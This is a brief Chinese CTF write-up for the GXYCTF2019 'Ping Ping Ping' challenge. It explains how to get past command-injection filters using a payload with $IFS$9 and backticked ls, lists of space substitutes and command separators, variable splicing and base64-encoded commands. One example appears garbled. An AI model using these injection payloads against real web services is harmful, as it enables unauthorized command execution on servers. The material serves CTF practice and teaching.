关于命令执行的几种简单绕过方法
目录
警告
本文最后更新于 2023-01-29,文中内容可能已过时。
例题
[GXYCTF2019]Ping Ping Ping
目的是通过发送 get 请求绕过执行命令
|
|
这是过滤脚本
用9 代替空格
循环套用打印出 ls 展示的文件
payload:
xxxxx.node4.buuoj.cn:81/?ip=8.8.8.8;cat$IFS$9`ls`
命令执行的空格代替
$IFS
${IFS}
9 $9 指传过来的第 9 个参数
%09 用于 url 传递
命令执行的分隔符
换行符 %0a
回车符 %0d
管道符 |
连续指令;
后台进程 &
逻辑 || &&
命令执行的绕过
变量替换
a=l;b=s;b
会以 "ls" 命令执行
base64 编码
`echo Y2F0IGBsc2A= | base64 -d`
base64 -d 解密
`` 对解密这个结果再去执行命令